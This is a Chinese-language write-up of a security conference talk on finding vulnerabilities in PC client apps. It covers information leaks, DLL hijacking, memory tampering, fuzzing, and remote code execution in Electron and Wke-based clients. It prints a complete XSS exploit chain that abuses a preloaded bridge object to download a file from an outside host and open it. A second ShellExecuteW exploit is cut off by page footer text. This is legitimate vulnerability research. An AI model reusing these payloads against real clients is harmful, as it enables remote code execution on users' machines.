被忽视的暗面:客户端应用漏洞挖掘之旅

被忽视的暗面:客户端应用漏洞挖掘之旅

前言

在2023年12月15日,我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员,我被邀请分享名为“被忽视的暗面:客户端应用漏洞挖掘之旅”的技术议题。

现整理成文字版分享出来,由于我不是专门从事二进制工作,因此文章中存在笔误或解释不对的地方,请各位师傅多多包涵!

客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级,客户端应用漏洞也逐渐出现在大众视野中(APT攻击、攻防赛事等等),在本次议题中,我们将重点关注PC侧的客户端应用程序,如即时通讯、远程服务、视频软件等应用,探索其中存在的漏洞和潜在的安全风险。

漏洞案例

漏洞案例的分析主要分为两类,一是常规风险的介绍和了解,二是RCE漏洞的挖掘思路和手法。

注意:以下漏洞案例均通过脱敏和细节上的处理。

常规风险篇

常规风险在这里我分为这几类:信息泄露、白利用、逻辑校验、缓冲区溢出。

信息泄漏

对于客户端的信息泄露,我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配,将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。

被忽视的暗面:客户端应用漏洞挖掘之旅_第1张图片

实际效果没有那么好,仅有一些数据库的连接配置信息泄露,并且由于是基于IDA的也没有那么好的进行自动批量化发现。

被忽视的暗面:客户端应用漏洞挖掘之旅_第2张图片

我们可以借助Strings工具来快速的获取可执行文件的字符串内容,并通过正则或其他方式进行匹配。

被忽视的暗面:客户端应用漏洞挖掘之旅_第3张图片

白利用

白利用问题就老生常谈了,在红队的工作中也经常遇到,如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多的赘述了。

被忽视的暗面:客户端应用漏洞挖掘之旅_第4张图片

逻辑校验

很多客户端程序在对用户信息进行获取的时候会通过内存的方式,来获取用户的编号,从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的,我们可以通过CE来对内存进行修改,从而导致越权漏洞的产生。

被忽视的暗面:客户端应用漏洞挖掘之旅_第5张图片

这类问题很经典,在以往就有许多案例(wooyun-2015-0143395、wooyun-2014-048606),但现在仍然可以从一些主流的应用上发现到类似的安全问题。

缓冲区溢出

缓冲区溢出问题太多太多了,我们可以通过通过IDA插件VulFi定位脆弱点,很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外,也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz,从而找到溢出问题。

被忽视的暗面:客户端应用漏洞挖掘之旅_第6张图片

除了本地网络服务以外,最经典的、利用最多的还是特定文件格式处理客户端,如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序,它用于各种各样的图片处理,我们可以找一些比较不常见的图片格式,并且通过网盘资源找到一些样本文件,丢给GPT或IFFA来分析文件格式,并输出Pits脚本,通过Peach Fuzzer来进行Fuzz工作。

被忽视的暗面:客户端应用漏洞挖掘之旅_第7张图片

RCE篇

接着我们来到RCE篇,请注意这里的RCE并不是Pre Auth的,案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对,如果一些客户端的网络服务端口是监听在0.0.0.0的,只要你与目标机器处于同一个网络,或该客户端是在服务器上使用的,也一样可以实现0 Click的效果。

Web类客户端

Web类客户端,我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序,如Electron这类CEF(浏览器嵌入式)框架开发的客户端应用,以及基于渲染引擎(如Wke)所开发的客户端应用。

某IM客户端应用

如下图所示,是一个即时通讯客户端应用,我在群名称重命名时发现了一个反射XSS漏洞,根据其目录结构我知道它是一个基于Electron开发的程序。

被忽视的暗面:客户端应用漏洞挖掘之旅_第8张图片

在Electron框架下,如果开发者在渲染页面时配置nodeIntegration为true,则说明我们可以在前端中使用Nodejs的语法,这就导致我们可以直接在前端使用如下Nodejs代码执行命令:

require('child_process').exec(...);

但是这个配置项在创建功能窗口时并没有开启:

被忽视的暗面:客户端应用漏洞挖掘之旅_第9张图片

所以,我们也就没办法通过XSS执行Nodejs的代码,但是根据当前的Electron的版本1.8.7去互联网检索,发现这个版本存在一个历史漏洞:CVE-2018-15685,而后进行相关验证,也无法成功。

但是我们在\resources\app\src\inject\preload.js文件中(这是预加载JS,也就表示这个文件在窗口创建后,页面创建前就执行了),发现了注册的全局变量:

1

window.ZxDesktop = ZxDesktop;

所以我们可以直接去调用这个全局变量,从而去使用其内部的定义的一些功能:

被忽视的暗面:客户端应用漏洞挖掘之旅_第10张图片

该全局变量实际上导出了很多其他模块及对应方法:

被忽视的暗面:客户端应用漏洞挖掘之旅_第11张图片

我们跟进File模块,就可以发现存在一个open函数:

被忽视的暗面:客户端应用漏洞挖掘之旅_第12张图片

跟进代码和测试之后,发现它就是文件打开函数,在Console下去调用,成功打开计算器:

被忽视的暗面:客户端应用漏洞挖掘之旅_第13张图片

接着看导出函数列表的其他项,发现存在两个文件保存的方法:

被忽视的暗面:客户端应用漏洞挖掘之旅_第14张图片

而它们所指向的都是另外一个模块的方法:

1

const Download = require('../download_extra/download.render.js');

跟进这个模块,发现实际上他们都来自同一个方法,只不过传递的参数isSelect有不同:

接着我们来完整的阅读下代码即可发现整个逻辑,首先根据你传递的参数来判断要调用NormalDownload(正常下载)还是ChunkDownload(分块下载),接着根据isSelect函数来判断调用save还是saveAs方法:

被忽视的暗面:客户端应用漏洞挖掘之旅_第15张图片

所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码,来查看它们这些方法的逻辑是什么,这里看了之后,两者代码的唯一区别就是分块,所以本文就以NormalDownload的save、saveAs方法去说明。

首先是saveAs方法,它会调用一个文件保存框,然后赋值调用retryStart方法:

被忽视的暗面:客户端应用漏洞挖掘之旅_第16张图片

而实际上retryStart方法内调用的是start方法,这个方法是用来进行请求下载的:

被忽视的暗面:客户端应用漏洞挖掘之旅_第17张图片

而后下载的文件实际上会保存在用户的数据目录下,save方法与saveAs方法的最大的不同就是没有这个文件保存框,所以我们当然选择使用save方法。

需要注意,在如上代码中save和saveAs的传递参数不一致,其实这不影响最终的处理,因为在一开始的对象创建时候就通过构造函数赋值了:

1

let downloader = new Download(file, config);

被忽视的暗面:客户端应用漏洞挖掘之旅_第18张图片

至此,我们就获得了文件下载的攻击路径,我们可以根据对应参数这样构建JS代码:

1

ZxDesktop.require("File").save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});

我们已经获得了文件下载的功能,攻击路径就很明显了:用户下载文件,打开文件。但是实际操作中,我们打开文件还缺少一个路径,并且在实际的测试中,默认情况下,下载的文件是会保存在应用的数据目录的null目录下。

而这个目录可能会被用户更改(用户名也没法获取),所以我们需要搭配一个点去获取路径,在这里找到了ZxDesktop的System模块:

被忽视的暗面:客户端应用漏洞挖掘之旅_第19张图片

它的导出列表中有两个属性:dbPath、userDataPath,它们的内容都是一样的,指向了用户的数据目录:

1

ZxDesktop.require("System").userDataPath

我们可以这样拼接,就有了下载文件的目录信息了:

1

ZxDesktop.require("System").userDataPath + "/null/test.txt"

当我们满足所有条件后,就可以构造完整的攻击代码了:

1.下载文件:

1

2

3

4

5

var a = ZxDesktop;

var b = a.require("File");

b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});

2.拼接文件路径,打开文件:

1

b.open(a.require("System").userDataPath + "/null/test.txt");

3.最终Exploit:

1

"><svg onload='var a = ZxDesktop;var b = a.require("File");b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});b.open(a.require("System").dbPath + "/null/test.txt");'>

被忽视的暗面:客户端应用漏洞挖掘之旅_第20张图片

某运维平台客户端

在某运维平台客户端中,我们发现可以通过伪协议链接(xxx://webview/?url=http://xxxx)来达到端内任意页面加载,这也就表示我们可以执行任意JS代码。

根据加载的DLL文件得知,其所依赖的前端页面渲染是开源项目Wke。

在源代码wke/jsBind.cpp中,发现wkeJSBindFunction方法提供了JSBridge的功能,将JavaScript函数绑定到C++中一个本地函数。

被忽视的暗面:客户端应用漏洞挖掘之旅_第21张图片

基于IDA分析得知,目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示,其将C++某个函数地址,与名为callprogram的JavaScript函数进行绑定,我们可以直接在JS代码中调用。

被忽视的暗面:客户端应用漏洞挖掘之旅_第22张图片

跟进对应的C++函数,我们发现它会通过wkeJSParam获取参数,再通过JSToTempStringW获取字符串形式的参数值,最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为:ShellExecuteW(0, "open", 参数1, 参数2, 0, 1)

被忽视的暗面:客户端应用漏洞挖掘之旅_第23张图片

因此我们可以构建如下的Exploit代码,并通过伪协议的方式使目标可以打开包含Exp代码的网页:

1

你可能感兴趣的:(编程技术,安全,网络,web安全)